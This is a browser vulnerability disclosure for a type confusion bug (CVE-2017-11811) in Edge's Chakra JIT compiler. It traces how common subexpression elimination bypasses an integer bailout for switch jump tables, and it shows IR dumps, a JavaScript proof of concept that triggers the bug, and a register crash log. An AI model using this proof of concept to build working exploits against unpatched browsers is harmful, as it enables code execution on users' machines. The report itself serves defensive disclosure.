Microsoft Edge: Chakra: JIT: Type confusion with switch statements CVE-2017-11811 Let's start with a switch statement and its IR code for JIT. JS: for (let i = 0; i < 100; i++) { switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } } IRs before Type Specialization: s26.var = Ld_A s24.var - "i" #0011 Bailout: #0011 (BailOutExpectingInteger) BrLt_A $L2, s26.var, s5.var #0070 $L9: #0070 BrGt_A $L2, s26.var, s23.var #0070 $L8: #0070 s28.var = Sub_A s26.var, 2 (0x2).i32 #0070 // Because of the minimum case is 2, subtracting 2 from i. s28 is a temporary variable. MultiBr ..., s28.var #0070 IRs after Type Specialization: s52(s26).i32 = Ld_A s51(s24).i32 - "i" #0011 BrLt_I4 $L2, s51(s24).i32, 2 (0x2).i32 #0070 $L9: #0070 BrGt_I4 $L2, s51(s24).i32, 38 (0x26).i32 #0070 $L8: #0070 s53(s28).i32 = Sub_I4 s51(s24).i32, 2 (0x2).i32 #0070 MultiBr ..., s53(s28).i32! #0070 MultiBr instructions' offset operand(s28 in the above) must be of type Int32. If not, type confusion will occur. The way to ensure it is to use BailOutExpectingInteger. In the above code, "s26" is ensured to be of type Int32 by the bailout. So, the other variables affected by "s26" including the offset variable "s28" are also ensured to be of type Int32. But in the Common Subexpression Elimination phase, it doesn't consider the bailouts. So we can abuse this. Common Subexpression Elimination: <a href="https://en.wikipedia.org/wiki/Common_subexpression_elimination" title="" class="" rel="nofollow">https://en.wikipedia.org/wiki/Common_subexpression_elimination</a> What I noticed is "s28.var = Sub_A s26.var, 2 (0x2).i32". If we declare a variable "j" with "i - 2", the offset variable "s28" will be replaced with "j". JS: for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } } IR: Line 3: let j = i - 2; Col 9: ^ StatementBoundary #2 #0013 s55(s28).i32 = Sub_I4 s54(s24).i32, 2 (0x2).i32 #0013 Line 4: switch (i) { Col 9: ^ StatementBoundary #3 #001a // BailOutExpectingInteger BrLt_I4 $L2, s54(s24).i32, 2 (0x2).i32 #0079 BrGt_I4 $L2, s54(s24).i32, 38 (0x26).i32 #0079 MultiBr ..., s55(s28).i32! #0079 The offset variable is replaced with "j" that is not ensured to be of type Int32. The next step is just to create a case that "j" can't be of type Int32. JS: for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } if (i == 39) i = 'aaaa'; } (Actually "j" is always Int32 in the above code. But Chakra can't distinguish.) IR: Line 3: let j = i - 2; Col 9: ^ StatementBoundary #2 #0013 s30[LikelyCanBeTaggedValue_Int].var = Sub_A s26[LikelyCanBeTaggedValue_Int_Number].var, 0x1000000000002.var #0013 s27[LikelyCanBeTaggedValue_Int].var = Ld_A s30[isTempLastUse][LikelyCanBeTaggedValue_Int].var! #0017 Line 4: switch (i) { Col 9: ^ StatementBoundary #3 #001a s63(s26).i32 = FromVar s26[LikelyCanBeTaggedValue_Int_Number].var #001a Bailout: #001a (BailOutExpectingInteger) BrLt_I4 $L4, s63(s26).i32, 2 (0x2).i32 #0079 BrGt_I4 $L4, s63(s26).i32, 38 (0x26).i32 #0079 MultiBr ..., s27[LikelyCanBeTaggedValue_Int].var #0079 It ended up to use "j" of type Var as the offset variable. PoC: function opt() { for (let i = 0; i < 100; i++) { let j = i - 2; switch (i) { case 2: case 4: case 6: case 8: case 10: case 12: case 14: case 16: case 18: case 20: case 22: case 24: case 26: case 28: case 30: case 32: case 34: case 36: case 38: break; } if (i == 90) { i = 'x'; } } } function main() { for (let i = 0; i < 100; i++) { opt(); } } main(); Crash Log: RAX: 0x1 RBX: 0x7ffff7e04824 --> 0x100000000 RCX: 0x3 RDX: 0x7ffff0b20667 (loope 0x7ffff0b2066d) RSI: 0x80000001 RDI: 0x7ffff0c182a0 --> 0x7ffff6478a10 --> 0x7ffff5986230 (<Js::DynamicObject::Finalize(bool)>: push rbp) RBP: 0x7fffffff2130 --> 0x7fffffff21b0 --> 0x7fffffff2400 --> 0x7fffffff2480 --> 0x7fffffff24d0 --> 0x7fffffff52f0 (--> ...) RSP: 0x7fffffff20c0 --> 0x1111015500000002 RIP: 0x7ffff0b204da (mov rdx,QWORD PTR [rdx+<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>*8]) <a href="https://crrev.com/8" title="" class="" rel="nofollow">R8</a> : 0x0 <a href="https://crrev.com/9" title="" class="" rel="nofollow">R9</a> : 0x0 <a href="https://crrev.com/10" title="" class="" rel="nofollow">R10</a>: 0x7ffff0b20400 (movabs rax,0x555555879018) <a href="https://crrev.com/11" title="" class="" rel="nofollow">R11</a>: 0x206 <a href="https://crrev.com/12" title="" class="" rel="nofollow">R12</a>: 0x7fffffff5580 --> 0x7ffff0ba0000 --> 0xeb021a471b4f1a4f <a href="https://crrev.com/13" title="" class="" rel="nofollow">R13</a>: 0x1000000000001 << Var 1 <a href="https://crrev.com/14" title="" class="" rel="nofollow">R14</a>: 0x1000000000003 <a href="https://crrev.com/15" title="" class="" rel="nofollow">R15</a>: 0x7ffff0c79040 --> 0x7ffff643c050 --> 0x7ffff5521130 (<Js::RecyclableObject::Finalize(bool)>: push rbp) EFLAGS: 0x10297 (CARRY PARITY ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x7ffff0b204cb: cmp ecx,0x26 0x7ffff0b204ce: jg 0x7ffff0b204e1 0x7ffff0b204d0: movabs rdx,0x7ffff0b20667 => 0x7ffff0b204da: mov rdx,QWORD PTR [rdx+<a href="https://crrev.com/13" title="" class="" rel="nofollow">r13</a>*8] 0x7ffff0b204de: rex.W jmp rdx This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made broadly available, the bug report will become visible to the public. Found by: lokihardt